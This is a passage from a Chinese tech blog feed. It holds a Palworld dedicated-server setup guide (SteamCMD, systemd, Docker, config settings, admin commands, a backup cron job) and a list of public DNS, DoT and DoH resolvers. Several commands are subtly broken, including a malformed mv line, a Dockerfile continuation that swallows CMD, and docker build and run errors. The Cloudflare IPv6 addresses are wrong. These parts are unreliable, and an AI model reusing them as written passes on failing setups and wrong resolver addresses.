class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">yum install glibc.i686 libstdc++.i686</span><br><span class="line">useradd -m steam &amp;&amp; passwd steam</span><br><span class="line">su steam</span><br><span class="line"><span class="built_in">cd</span> /home/steam</span><br><span class="line"><span class="built_in">mkdir</span> steamcmd &amp;&amp; <span class="built_in">cd</span> steamcmd</span><br><span class="line">curl -sqL <span class="string">&quot;https://steamcdn-a.akamaihd.net/client/installer/steamcmd_linux.tar.gz&quot;</span> | tar zxvf -</span><br><span class="line">./steamcmd.sh +login anonymous +app_update 2394010 validate +quit</span><br><span class="line"><span class="built_in">mkdir</span> -pv ~/.steam/&#123;sdk32,sdk64&#125;</span><br><span class="line"><span class="built_in">ln</span> -s ~/steamcmd/linux32/steamclient.so ~/.steam/sdk32/ &amp;&amp; <span class="built_in">ln</span> -s ~/steamcmd/linux64/steamclient.so ~/.steam/sdk64/</span><br><span class="line"><span class="built_in">cd</span>  ~/Steam/steamapps/common/PalServer/Pal/Binaries/Linux/</span><br><span class="line"><span class="built_in">mv</span> PalServer-Linux-Test PalServer-Linux-Test Pal.bak</span><br><span class="line"><span class="built_in">mv</span> ~/PalServer-Linux-Test-Patch-Update-3 ./PalServer-Linux-Test</span><br><span class="line"><span class="built_in">nohup</span> ~/Steam/steamapps/common/PalServer/PalServer.sh &amp;</span><br></pre></td></tr></table></figure><p>注册为系统服务<code>usermod -aG wheel steam &amp;&amp; vi /etc/systemd/system/palserver.service</code></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">[Unit]</span><br><span class="line">Description=PalServer</span><br><span class="line">After=network.target</span><br><span class="line"></span><br><span class="line">[Service]</span><br><span class="line">User=steam</span><br><span class="line">ExecStart=/usr/bin/sudo -u steam /home/steam/Steam/steamapps/common/PalServer/Pal/Binaries/Linux/PalServer-Linux-Test Pal <span class="string">&quot;&quot;</span></span><br><span class="line">Restart=always</span><br><span class="line"></span><br><span class="line">[Install]</span><br><span class="line">WantedBy=default.target</span><br></pre></td></tr></table></figure><p>然后用 <code>systemctl</code> 管理服务</p><h3 id="Docker-服务器"><a href="#Docker-服务器" class="headerlink" title="Docker 服务器"></a>Docker 服务器</h3><p>服务器需要先准备好 <strong>Docker</strong> 环境，宿主机原理上 Windows、Linux、macOS 都适用，下文则已 CentOS 为例：<br><div class="tag link"><a class="link-card" title="环境准备：Docker 不完全食用指北" href="https://yuwei.cc/posts/docker.html"><div class="left"><img src="/img/favicon.jpg"/></div><div class="right"><p class="text">环境准备：Docker 不完全食用指北</p><p class="url">https://yuwei.cc/posts/docker.html</p></div></a></div><br>然后下载<br>这里要注意的是，有第三方<a href="https://github.com/VeroFess/PalWorld-Server-Unoffical-Fix">优化补丁</a>，下载并替换相应的文件即可</p><ul><li>来自“SymbolInfoToHumanReadableString”的内存泄漏和高 CPU 负载</li><li>来自“ProgramCounterToHumanReadableString”的内存泄漏和高 CPU 负载</li><li>来自“PopulateProgramCounterSymbolInfoFromSymbolFile”的内存泄漏和高 CPU 负载</li></ul><p>基于<a href="https://hub.docker.com/r/cm2network/steamcmd">cm2network 镜像</a>重新构建镜像节省重复步骤：`vi Dockerfile_Pal``</p><figure class="highlight dockerfile"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">FROM</span> cm2network/steamcmd</span><br><span class="line"><span class="keyword">ADD</span><span class="language-bash"> PalServer-Linux-Test-Patch-Update-3 /tmp/</span></span><br><span class="line"><span class="keyword">WORKDIR</span><span class="language-bash"> /home/steam</span></span><br><span class="line"><span class="keyword">RUN</span><span class="language-bash"> ./steamcmd/steamcmd.sh +login anonymous +app_update 2394010 validate +quit \</span></span><br><span class="line"><span class="language-bash">    &amp;&amp; <span class="built_in">mkdir</span> -pv .steam/sdk64 \</span></span><br><span class="line"><span class="language-bash">    &amp;&amp; <span class="built_in">cp</span> Steam/steamapps/common/PalServer/linux64/* .steam/sdk64/ \</span></span><br><span class="line"><span class="language-bash">    &amp;&amp; <span class="built_in">cd</span> .steam/SteamApps/common/PalServer \</span></span><br><span class="line"><span class="language-bash">    &amp;&amp; <span class="built_in">cp</span> DefaultPalWorldSettings.ini Pal/Saved/Config/LinuxServer/PalWorldSettings.ini \</span></span><br><span class="line"><span class="language-bash">CMD /home/steam/Steam/steamapps/common/PalServer/PalServer.sh</span></span><br></pre></td></tr></table></figure><p>构建镜像，然后运行</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">docker build -f Dockerfile_Pal palserver:1.3.0-mod .</span><br><span class="line">docker run -itd \</span><br><span class="line">    -p 8211:8211 \</span><br><span class="line">    -v /app/data/pal:/home/steam/Pal/Saved/SaveGames/0</span><br><span class="line">    --name plaserver \</span><br><span class="line">    palserver:1.3.0-mod</span><br></pre></td></tr></table></figure><h2 id="私服管理"><a href="#私服管理" class="headerlink" title="私服管理"></a>私服管理</h2><h3 id="配置文件"><a href="#配置文件" class="headerlink" title="配置文件"></a>配置文件</h3><p>幻兽帕鲁默认配置文件在 <code>steamapps\common\PalServer</code> 文件夹下：<br><figure class="highlight ini"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">; This configuration file is a sample of the default server settings.</span></span><br><span class="line"><span class="comment">; Changes to this file will NOT be reflected on the server.</span></span><br><span class="line"><span class="comment">; To change the server settings, modify Pal/Saved/Config/LinuxServer/PalWorldSettings.ini.</span></span><br><span class="line"><span class="section">[/Script/Pal.PalGameWorldSettings]</span></span><br><span class="line"><span class="attr">OptionSettings</span>=(Difficulty=None,DayTimeSpeedRate=<span class="number">1.000000</span>,NightTimeSpeedRate=<span class="number">1.000000</span>,ExpRate=<span class="number">1.000000</span>,PalCaptureRate=<span class="number">1.000000</span>,PalSpawnNumRate=<span class="number">1.000000</span>,PalDamageRateAttack=<span class="number">1.000000</span>,PalDamageRateDefense=<span class="number">1.000000</span>,PlayerDamageRateAttack=<span class="number">1.000000</span>,PlayerDamageRateDefense=<span class="number">1.000000</span>,PlayerStomachDecreaceRate=<span class="number">1.000000</span>,PlayerStaminaDecreaceRate=<span class="number">1.000000</span>,PlayerAutoHPRegeneRate=<span class="number">1.000000</span>,PlayerAutoHpRegeneRateInSleep=<span class="number">1.000000</span>,PalStomachDecreaceRate=<span class="number">1.000000</span>,PalStaminaDecreaceRate=<span class="number">1.000000</span>,PalAutoHPRegeneRate=<span class="number">1.000000</span>,PalAutoHpRegeneRateInSleep=<span class="number">1.000000</span>,BuildObjectDamageRate=<span class="number">1.000000</span>,BuildObjectDeteriorationDamageRate=<span class="number">1.000000</span>,CollectionDropRate=<span class="number">1.000000</span>,CollectionObjectHpRate=<span class="number">1.000000</span>,CollectionObjectRespawnSpeedRate=<span class="number">1.000000</span>,EnemyDropItemRate=<span class="number">1.000000</span>,DeathPenalty=All,bEnablePlayerToPlayerDamage=<span class="literal">False</span>,bEnableFriendlyFire=<span class="literal">False</span>,bEnableInvaderEnemy=<span class="literal">True</span>,bActiveUNKO=<span class="literal">False</span>,bEnableAimAssistPad=<span class="literal">True</span>,bEnableAimAssistKeyboard=<span class="literal">False</span>,DropItemMaxNum=<span class="number">3000</span>,DropItemMaxNum_UNKO=<span class="number">100</span>,BaseCampMaxNum=<span class="number">128</span>,BaseCampWorkerMaxNum=<span class="number">15</span>,DropItemAliveMaxHours=<span class="number">1.000000</span>,bAutoResetGuildNoOnlinePlayers=<span class="literal">False</span>,AutoResetGuildTimeNoOnlinePlayers=<span class="number">72.000000</span>,GuildPlayerMaxNum=<span class="number">20</span>,PalEggDefaultHatchingTime=<span class="number">72.000000</span>,WorkSpeedRate=<span class="number">1.000000</span>,bIsMultiplay=<span class="literal">False</span>,bIsPvP=<span class="literal">False</span>,bCanPickupOtherGuildDeathPenaltyDrop=<span class="literal">False</span>,bEnableNonLoginPenalty=<span class="literal">True</span>,bEnableFastTravel=<span class="literal">True</span>,bIsStartLocationSelectByMap=<span class="literal">True</span>,bExistPlayerAfterLogout=<span class="literal">False</span>,bEnableDefenseOtherGuildPlayer=<span class="literal">False</span>,CoopPlayerMaxNum=<span class="number">4</span>,ServerPlayerMaxNum=<span class="number">32</span>,ServerName=<span class="string">&quot;Default Palworld Server&quot;</span>,ServerDescription=<span class="string">&quot;&quot;</span>,AdminPassword=<span class="string">&quot;&quot;</span>,ServerPassword=<span class="string">&quot;&quot;</span>,PublicPort=<span class="number">8211</span>,PublicIP=<span class="string">&quot;&quot;</span>,RCONEnabled=<span class="literal">False</span>,RCONPort=<span class="number">25575</span>,Region=<span class="string">&quot;&quot;</span>,bUseAuth=<span class="literal">True</span>,BanListURL=<span class="string">&quot;https://api.palworldgame.com/api/banlist.txt&quot;</span>)</span><br></pre></td></tr></table></figure><br>将上述配置配置文件拷贝到 Stemacmd 所在文件夹下的相应路径：</p><ul><li>Windows：<code>steamapps/common/PalServer/Pal/Saved/Config/WindowsServer/PalWorldSettings.ini</code></li><li>Linux：<code>Steam/steamapps/common/PalServer/Pal/Saved/Config/LinuxServer/PalWorldSettings.ini</code></li></ul><p>然后按需修改，修改完成以后重新启动服务器即可（数值的设置为 0 即完全关闭），<a href="https://tech.palworldgame.com/optimize-game-balance">官方文档</a></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br></pre></td><td class="code"><pre><span class="line">## 服务器难度，Casual：休闲、Normal：正常、Hard：困难 </span><br><span class="line">Difficulty=None</span><br><span class="line">## 白天持续时间，影响游戏中白天的流逝速度</span><br><span class="line">DayTimeSpeedRate=1.000000</span><br><span class="line">## 夜晚持续时间，影响游戏中夜晚的流逝速度</span><br><span class="line">NightTimeSpeedRate=1.000000</span><br><span class="line">## 经验获取速率，影响角色升级的速度</span><br><span class="line">ExpRate=1.000000</span><br><span class="line">## 捕捉帕鲁成功倍率，影响成功捕捉伙伴的几率</span><br><span class="line">PalCaptureRate=1.000000</span><br><span class="line">## 伙伴生成数量倍率，影响伙伴在游戏中的生成数量</span><br><span class="line">PalSpawnNumRate=1.000000</span><br><span class="line">## 帕鲁攻击伤害倍率，影响伙伴攻击力</span><br><span class="line">PalDamageRateAttack=1.000000</span><br><span class="line">## 帕鲁承受伤害倍率，影响伙伴防御力</span><br><span class="line">PalDamageRateDefense=1.000000</span><br><span class="line">## 玩家攻击伤害倍率，影响玩家的攻击力</span><br><span class="line">PlayerDamageRateAttack=1.000000</span><br><span class="line">## 玩家承受伤害倍率，影响玩家的防御力</span><br><span class="line">PlayerDamageRateDefense=1.000000</span><br><span class="line">## 玩家饥饿消耗倍率，影响玩家在游戏中的饥饿程度</span><br><span class="line">PlayerStomachDecreaseRate=1.000000</span><br><span class="line">## 玩家耐力消耗速率，影响玩家在游戏中的耐力消耗速度</span><br><span class="line">PlayerStaminaDecreaseRate=1.000000</span><br><span class="line">## 玩家自动恢复生命的速率</span><br><span class="line">PlayerAutoHPRegeneRate=1.000000</span><br><span class="line">## 玩家睡眠状态自动恢复生命的速率</span><br><span class="line">PlayerAutoHpRegeneRateInSleep=1.000000</span><br><span class="line">## 帕鲁饥饿消耗倍率，影响伙伴在游戏中的饥饿程度</span><br><span class="line">PalStomachDecreaseRate=1.000000</span><br><span class="line">## 帕鲁耐力消耗倍率，影响伙伴在游戏中的耐力消耗速度</span><br><span class="line">PalStaminaDecreaseRate=1.000000</span><br><span class="line">## 帕鲁自动恢复生命的速率</span><br><span class="line">PalAutoHPRegeneRate=1.000000</span><br><span class="line">## 帕鲁睡眠状态自动恢复生命的速率</span><br><span class="line">PalAutoHpRegeneRateInSleep=1.000000</span><br><span class="line">## 建筑承受伤害倍率，影响建筑物的耐久度</span><br><span class="line">BuildObjectDamageRate=1.000000</span><br><span class="line">## 建筑老化倍率，影响建筑物老化的速度</span><br><span class="line">BuildObjectDeteriorationDamageRate=1.000000</span><br><span class="line">## 采集物品掉落倍率，影响从采集中获得物品的几率</span><br><span class="line">CollectionDropRate=1.000000</span><br><span class="line">## 采集物品耐久倍率，影响采集物品的耐久度</span><br><span class="line">CollectionObjectHpRate=1.000000</span><br><span class="line">## 采集物品刷新速率，影响采集物品重新生成的速度</span><br><span class="line">CollectionObjectRespawnSpeedRate=1.000000</span><br><span class="line">## 敌人掉落物品倍率，影响从敌人处获得物品的几率</span><br><span class="line">EnemyDropItemRate=1.000000</span><br><span class="line">## 死亡掉落设置，None：死亡不掉落、Item：丢失物品、ItemAndEquipment：丢失物品和装备、All：丢失所有物品、装备、伙伴（背包中）</span><br><span class="line">DeathPenalty=All</span><br><span class="line">## 公会中玩家的最大数量</span><br><span class="line">GuildPlayerMaxNum=8</span><br><span class="line">## 伙伴蛋默认孵化时间</span><br><span class="line">PalEggDefaultHatchingTime=72.000000</span><br><span class="line">## 服务器中玩家的最大数量</span><br><span class="line">ServerPlayerMaxNum=32</span><br><span class="line">## 服务器名称</span><br><span class="line">ServerName=&quot;Default Palworld Server&quot;</span><br><span class="line">## 服务器描述</span><br><span class="line">ServerDescription=&quot;&quot;</span><br><span class="line">## 管理密码</span><br><span class="line">AdminPassword=&quot;&quot;</span><br><span class="line">## 服务器密码</span><br><span class="line">ServerPassword=&quot;&quot;</span><br><span class="line">## 服务器端口，默认 8211</span><br><span class="line">PublicPort=8211</span><br><span class="line">## 服务器 IP，可以留空</span><br><span class="line">PublicIP=&quot;&quot;</span><br><span class="line">## 是否启用 RCON</span><br><span class="line">RCONEnabled=False</span><br><span class="line">## RCON 的默认端口号</span><br><span class="line">RCONPort=25575</span><br></pre></td></tr></table></figure><p>其他配置，官方文档没有</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br></pre></td><td class="code"><pre><span class="line">## 工作速率，影响游戏中各种工作的速度</span><br><span class="line">WorkSpeedRate=1.000000</span><br><span class="line">## 掉落物品的最大数量</span><br><span class="line">DropItemMaxNum=3000</span><br><span class="line">## 合作玩家的最大数量</span><br><span class="line">CoopPlayerMaxNum=4</span><br><span class="line">## 基地营地的最大数量</span><br><span class="line">BaseCampMaxNum=128</span><br><span class="line">## 基地营地中工作者的最大数量</span><br><span class="line">BaseCampWorkerMaxNum=15</span><br><span class="line">## 是否启用玩家对玩家的伤害</span><br><span class="line">bEnablePlayerToPlayerDamage=False</span><br><span class="line">## 是否启用友军伤害</span><br><span class="line">bEnableFriendlyFire=False</span><br><span class="line">## 是否启用入侵敌人</span><br><span class="line">bEnableInvaderEnemy=False</span><br><span class="line">## 是否启用UNKO活动</span><br><span class="line">bActiveUNKO=False</span><br><span class="line">## 是否启用手柄瞄准辅助</span><br><span class="line">bEnableAimAssistPad=True</span><br><span class="line">## 是否启用键鼠瞄准辅助</span><br><span class="line">bEnableAimAssistKeyboard=False</span><br><span class="line">## UNKO 活动中掉落物品的最大数量</span><br><span class="line">DropItemMaxNum_UNKO=</span><br><span class="line">## 掉落物品存活的最大小时数</span><br><span class="line">DropItemAliveMaxHours=1.000000</span><br><span class="line">## 是否自动重置没有在线玩家的公会</span><br><span class="line">bAutoResetGuildNoOnlinePlayers=False</span><br><span class="line">## 没有在线玩家时自动重置公会的时间</span><br><span class="line">AutoResetGuildTimeNoOnlinePlayers=72.000000</span><br><span class="line">## 是否启用多人游戏</span><br><span class="line">bIsMultiplay</span><br><span class="line">## 是否启用玩家间对战</span><br><span class="line">bIsPvP=False</span><br><span class="line">## 是否可以捡起其他公会玩家死亡惩罚的物品</span><br><span class="line">bCanPickupOtherGuildDeathPenaltyDrop=False</span><br><span class="line">## 是否启用非登录惩罚</span><br><span class="line">bEnableNonLoginPenalty=False</span><br><span class="line">## 是否启用快速旅行</span><br><span class="line">bEnableFastTravel=False</span><br><span class="line">## 是否通过地图选择起始位置</span><br><span class="line">bIsStartLocationSelectByMap=False</span><br><span class="line">## 玩家登出后是否存在于游戏中</span><br><span class="line">bExistPlayerAfterLogout=False</span><br><span class="line">## 是否启用对其他公会玩家的防御</span><br><span class="line">bEnableDefenseOtherGuildPlayer=False</span><br></pre></td></tr></table></figure><h3 id="管理命令"><a href="#管理命令" class="headerlink" title="管理命令"></a>管理命令</h3><p>如果要使用命令，需要设置管理员密码后并使用 <code>/AdminPassword</code> 密码命令在聊天框获取管理权限</p><div class="table-container"><table><thead><tr><th>命令</th><th>说明</th></tr></thead><tbody><tr><td>/Shutdown {Seconds} {MessageText}</td><td>服务器在秒数后关闭将收到您的 MessageText 的通知</td></tr><tr><td>/DoExit</td><td>强制停止服务器</td></tr><tr><td>/Broadcast {MessageText}</td><td>向服务器中的所有玩家发送消息</td></tr><tr><td>/KickPlayer {SteamID}</td><td>将玩家从服务器上踢出</td></tr><tr><td>/BanPlayer {SteamID}</td><td>将玩家从服务器上封禁</td></tr><tr><td>/TeleportToPlayer {SteamID}</td><td>传送到目标玩家的当前位置</td></tr><tr><td>/TeleportToMe {SteamID}</td><td>目标玩家传送到您当前的位置</td></tr><tr><td>/ShowPlayers</td><td>显示所有已连接玩家的信息</td></tr><tr><td>/Info</td><td>显示服务器信息</td></tr><tr><td>/Save</td><td>保存服务器数据</td></tr></tbody></table></div><h3 id="备份存档"><a href="#备份存档" class="headerlink" title="备份存档"></a>备份存档</h3><div class="tag link"><a class="link-card" title="Linux 系统定时任务" href="https://yuwei.cc/posts/linux-crontab.html"><div class="left"><img src="/img/favicon.jpg"/></div><div class="right"><p class="text">Linux 系统定时任务</p><p class="url">https://yuwei.cc/posts/linux-crontab.html</p></div></a></div><p>备份脚本 <code>vi palbackup.sh</code></p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#!/bin/bash</span></span><br><span class="line"></span><br><span class="line">S_DIR=<span class="string">&quot;/home/steam/Steam/steamapps/common/PalServer/Pal/Saved/SaveGames/0&quot;</span></span><br><span class="line">B_DIR=<span class="string">&quot;/app/backup&quot;</span></span><br><span class="line">DATE=$(<span class="built_in">date</span> +%Y%m%d_%H%M%S)</span><br><span class="line"></span><br><span class="line"><span class="built_in">cd</span> <span class="variable">$&#123;S_DIR&#125;</span></span><br><span class="line">tar -zcvf <span class="string">&quot;<span class="variable">$&#123;B_DIR&#125;</span>/backup_<span class="variable">$&#123;DATE&#125;</span>.tar&quot;</span> .</span><br><span class="line"><span class="built_in">echo</span> <span class="string">&quot;已将 <span class="variable">$&#123;S_DIR&#125;</span> 存档备份到 <span class="variable">$&#123;B_DIR&#125;</span>/backup_<span class="variable">$&#123;DATE&#125;</span>.tar.gz&quot;</span></span><br></pre></td></tr></table></figure><p>使用 crontab 定时执行上述脚本</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">crontab -e</span><br><span class="line">0,30 * * * * sh ~/palbackup.sh &gt;&gt; /app/logs/palbackup.log</span><br></pre></td></tr></table></figure>]]></content>
    
    
      
      
    <summary type="html">&lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;https://cdn.jsdelivr.net/hint.css/2.4.1/hint.min.css&quot;&gt;&lt;h2 id=&quot;幻兽帕鲁&quot;&gt;&lt;a href=&quot;#幻兽帕鲁&quot; class=&quot;head</summary>
      
    
    
    
    <category term="休闲娱乐" scheme="https://yuwei.cc/categories/%E4%BC%91%E9%97%B2%E5%A8%B1%E4%B9%90/"/>
    
    
    <category term="游戏" scheme="https://yuwei.cc/tags/%E6%B8%B8%E6%88%8F/"/>
    
    <category term="Docker" scheme="https://yuwei.cc/tags/Docker/"/>
    
    <category term="幻兽帕鲁" scheme="https://yuwei.cc/tags/%E5%B9%BB%E5%85%BD%E5%B8%95%E9%B2%81/"/>
    
  </entry>
  
  <entry>
    <title>DNS 安全性协议：DoT &amp; DoH</title>
    <link href="https://yuwei.cc/posts/ba4740a2.html"/>
    <id>https://yuwei.cc/posts/ba4740a2.html</id>
    <published>2024-01-07T03:20:53.000Z</published>
    <updated>2024-01-07T03:20:53.000Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" type="text/css" href="https://cdn.jsdelivr.net/hint.css/2.4.1/hint.min.css"><h2 id="技术简介"><a href="#技术简介" class="headerlink" title="技术简介"></a>技术简介</h2><p>为了防止黑客针对 DNS 系统的攻击（DNS 劫持、缓存投毒、DNS 欺骗等），强化域名系统的安全性，互联网诞生了 4 种提升 DNS 安全性的协议，分别是 DNSSEC、DNSCrypt、DNS over TLS(DoT)、DNS over HTTPS(DoH)，以下介绍普通用户常规接触到的两种：</p><ul><li>DoT 全称 DNS over TLS，简单来说就是使用 TLS 传输 DNS 协议</li><li>DoH 全称 DNS over HTTPS，简单来说就是使用 HTTPS 传输 DNS 协议<h2 id="公共服务"><a href="#公共服务" class="headerlink" title="公共服务"></a>公共服务</h2><h3 id="国内服务商"><a href="#国内服务商" class="headerlink" title="国内服务商"></a>国内服务商</h3><h4 id="ALiDNS"><a href="#ALiDNS" class="headerlink" title="ALiDNS"></a>ALiDNS</h4>DNS(v4)：223.5.5.5、223.6.6.6<br>DNS(v6)：2400:3200::1、2400:3200:baba::1<br>DoT：dns.alidns.com<br>DoH：<a href="https://dns.alidns.com/dns-query">https://dns.alidns.com/dns-query</a><h4 id="DnsPod"><a href="#DnsPod" class="headerlink" title="DnsPod"></a>DnsPod</h4>DNS(v4)：119.29.29.29<br>DNS(v6)：2402:4e00::<br>DoT：dns.pub<br>DoH：<a href="https://dns.pub/dns-query">https://dns.pub/dns-query</a><h4 id="360DNS"><a href="#360DNS" class="headerlink" title="360DNS"></a>360DNS</h4>DNS(v4)：</li><li>中国电信/铁通/移动：101.226.4.6、218.30.118.6</li><li>中国联通：123.125.81.6、140.207.198.6<br>DoT：dot.360.cn<br>DoH：<a href="https://doh.360.cn/dns-query">https://doh.360.cn/dns-query</a><h3 id="国外服务商"><a href="#国外服务商" class="headerlink" title="国外服务商"></a>国外服务商</h3><h4 id="Cloudflare-DNS"><a href="#Cloudflare-DNS" class="headerlink" title="Cloudflare DNS"></a>Cloudflare DNS</h4>知名云服务商 Cloudflare 提供的解析服务器<br>DNS(v4)：1.1.1.1、1.0.0.1<br>DNS(v6)：2001:2001::、2001:2001:2001::<br>DoT：cloudflare-dns.com<br>DoH：<a href="https://1.1.1.1/dns-query">https://1.1.1.1/dns-query</a><h4 id="Google-DNS"><a href="#Google-DNS" class="headerlink" title="Google DNS"></a>Google DNS</h4>DNS(v4)：8.8.8.8、8.8.4.4<br>DNS(v6)：2001:4860:4860::8888、2001:4860:4860::8844<br>DoT：dns.google<br>DoH：<a href="https://dns.google/dns-query">https://dns.google/dns-query</a><h4 id="AdGuard-DNS"><a href="#AdGuard-DNS" class="headerlink" title="AdGuard DNS"></a>AdGuard DNS</h4><a href="https://adguard-dns.io/zh_cn/public-dns.html">https://adguard-dns.io/zh_cn/public-dns.html</a><br>DNS(v4)：94.140.14.14、94.140.15.15<br>DNS(v6)：2a10:50c0::ad1:ff、2a10:50c0::ad2:ff<br>DoT：dns.adguard.com<br>DoH：<a href="https://dns.adguard.com/dns-query">https://dns.adguard.com/dns-query</a><h4 id="Quad9-DNS"><a href="#Quad9-DNS" class="headerlink" title="Quad9 DNS"></a>Quad9 DNS</h4><a href="https://quad9.net/">https://quad9.net/</a><br>DNS(v4)：9.9.9.9、149.112.112.112<br>DNS(v6)：2620:fe::fe、2620:fe::9<br>DoT：dns.quad9.net<br>DoH：<a href="https://dns.quad9.net/dns-query">https://dns.quad9.net/dns-query</a><h2 id="开始使用"><a href="#开始使用" class="headerlink" title="开始使用"></a>开始使用</h2><h3 id="DoH"><a href="#DoH" class="headerlink" title="DoH"></a>DoH</h3><h4 id="Google-Chrome"><a href="#Google-Chrome" class="headerlink" title="Google Chrome"></a>Google Chrome</h4>在设置里选择【隐私设置和安全性】下点击【安全】<br>在高级部分中，启用【使用安全 DNS】<br>选择【自定义】，输入 <a href="https://doh.pub/dns-query">https://doh.pub/dns-query</a><h4 id="Mozilla-Firefox"><a href="#Mozilla-Firefox" class="headerlink" title="Mozilla Firefox"></a>Mozilla Firefox</h4>在选项里找到【网络设置】部分，然后单击【设置】<br>选中【启用基于 HTTPS 的 DNS】<br>选择【自定义】，输入 <a href="https://doh.pub/dns-query">https://doh.pub/dns-query</a> 单击确定<h4 id="Microsoft-Edge"><a href="#Microsoft-Edge" class="headerlink" title="Microsoft Edge"></a>Microsoft Edge</h4>在设置里找到【隐私、搜索和服务】部分<br>在【安全性】下，启用”使用安全的 DNS 指定如何查找网站的网络地址”<br>选择【请选择服务提供商】，输入 <a href="https://doh.pub/dns-query">https://doh.pub/dns-query</a></li></ul>]]></content>
    
    
      
      
    <summary type="html">&lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;https://cdn.jsdelivr.net/hint.css/2.4.1/hint.min.css&quot;&gt;&lt;h2 id=&quot;技术简介&quot;&gt;&lt;a href=&quot;#技术简介&quot; class=&quot;head</summary>
      
    
    
    
    <category term="高效工作" scheme="https://yuwei.cc/categories/%E9%AB%98%E6%95%88%E5%B7%A5%E4%BD%9C/"/>
    
    
    <category term="网络技术" scheme="https://yuwei.cc/tags/%E7%BD%91%E7%BB%9C%E6%8A%80%E6%9C%AF/"/>
    
    <category term="浏览器" scheme="https://yuwei.cc/tags/%E6%B5%8F%E8%A7%88%E5%99%A8/"/>
    
    <category term="DNS" scheme="https://yuwei.cc/tags/DNS/"/>
    
  </entry>
  
  <entry>
    <title>搬瓦工 VPS 获取到 IPv6，影响到 ChatGPT 的使用</title>
    <link href="https://yuwei.cc/posts/b5afedb0.html"/>
    <id>https://yuwei.cc/posts/b5afedb0.html</id>
    <published>2023-12-14T02:21:06.000Z</published>
    <updated>2023-12-14T02:21:06.000Z</updated>
    
